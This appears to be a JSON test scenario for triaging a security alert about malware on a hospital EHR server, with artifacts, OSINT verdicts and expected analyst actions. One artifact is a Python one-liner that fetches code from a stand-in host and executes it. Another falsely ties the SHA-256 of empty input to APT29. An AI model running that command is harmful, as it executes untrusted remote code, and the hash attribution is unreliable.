{"playbook_version":2,"artifacts":[{"id":"artifact_1","type":"hash","value":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","is_critical":true,"osint_result":{"source":"VirusTotal","verdict":"malicious","details":"File hash associated with APT29 zero-day exploits"}},{"id":"artifact_2","type":"command","value":"/usr/bin/python -c 'import urllib2; exec(urllib2.urlopen(\"http://malicious.com/exploit.py\").read())'","is_critical":true,"osint_result":{"source":"Hybrid Analysis","verdict":"malicious","details":"Command execution detected using zero-day exploit"}},{"id":"artifact_3","type":"ip","value":"192.168.3.25","is_critical":false,"osint_result":{"source":"Internal Network","verdict":"internal","details":"Internal IP address of compromised EHR server"}}],"expected_actions":["block_hash","isolate_host","collect_forensics","close_alert"],"expected_verdict":"true_positive","expected_category":"malware","analysis_notes":"The zero-day exploit was successfully executed, compromising the EHR system and allowing unauthorized access to patient data."}